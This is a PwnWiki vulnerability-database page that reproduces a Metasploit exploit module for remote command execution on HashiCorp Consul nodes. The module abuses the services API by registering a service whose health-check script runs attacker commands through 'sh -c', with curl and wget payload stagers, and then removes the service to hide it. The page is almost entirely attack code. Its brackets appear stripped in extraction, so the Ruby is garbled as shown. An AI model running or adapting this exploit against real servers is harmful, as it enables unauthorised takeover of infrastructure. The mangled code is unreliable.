Loading
0

Hashicorp Consul Services API 远程代码执行漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

EXP

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Hashicorp Consul Remote Command Execution via Services API",
      'Description'    => %q{
        This module exploits Hashicorp Consul's services API to gain remote command
        execution on Consul nodes.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        
          'Bharadwaj Machiraju <bharadwaj.machirajuatgmail.com>', # Discovery and PoC
          'Francis Alexander <helofrancisatgmail.com >', # Discovery and PoC
          'Quentin Kaiser <kaiserquentinatgmail.com>' # Metasploit module
        ,
      'References'     =>
        
           'URL', 'https://www.consul.io/api/agent/service.html' ,
           'URL', 'https://github.com/torque59/Garfield' 
        ,
      'Platform'        => 'linux',
      'Targets'         =>   'Linux', {}  ,
      'Payload'         => {},
      'CmdStagerFlavor' =>  'bourne', 'echo', 'printf', 'curl', 'wget',
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 11 2018'))
    register_options(
      
        OptString.new('TARGETURI', true, 'The base path', '/'),
        OptBool.new('SSL', false, 'Negotiate SSL/TLS for outgoing connections', false),
        OptString.new('ACL_TOKEN', false, 'Consul Agent ACL token', ''),
        Opt::RPORT(8500)
      )
  end

  def check
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path, '/v1/agent/self'),
      'headers' => {
        'X-Consul-Token' => datastore'ACL_TOKEN'
      }
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_error 'Unexpected reply'
      return CheckCode::Safe
    end

    agent_info = JSON.parse(res.body)

    if agent_info"Config""EnableScriptChecks" == true || agent_info"DebugConfig""EnableScriptChecks" == true || agent_info"DebugConfig""EnableRemoteScriptChecks" == true
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  rescue JSON::ParserError
    vprint_error 'Failed to parse JSON output.'
    return CheckCode::Unknown
  end

  def execute_command(cmd, opts = {})
    uri = target_uri.path
    service_name = Rex::Text.rand_text_alpha(5..10)
    print_status("Creating service '#{service_name}'")

    # NOTE: Timeout defines how much time the check script will run until
    # getting killed. Arbitrarily set to one day for now.
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, 'v1/agent/service/register'),
      'headers' => {
        'X-Consul-Token' => datastore'ACL_TOKEN'
      },
      'ctype' => 'application/json',
      'data' => {
        :ID => "#{service_name}",
        :Name => "#{service_name}",
        :Address => "127.0.0.1",
        :Port => 80,
        :check => {
          :script => "#{cmd}",
          :Args => "sh", "-c", "#{cmd}",
          :interval => "10s",
          :Timeout => "86400s"
        }
      }.to_json
    })
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
    end
    print_status("Service '#{service_name}' successfully created.")
    print_status("Waiting for service '#{service_name}' script to trigger")
    sleep(12)
    print_status("Removing service '#{service_name}'")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(
        uri,
        "v1/agent/service/deregister/#{service_name}"
      ),
      'headers' => {
        'X-Consul-Token' => datastore'ACL_TOKEN'
      }
    })
    if res && res.code != 200
      fail_with(Failure::UnexpectedReply,
        'An error occured when contacting the Consul API.'
      )
    end
  end

  def exploit
    execute_cmdstager()
  end
end

PWNWIK.COM==免费、自由、人人可编辑的漏洞库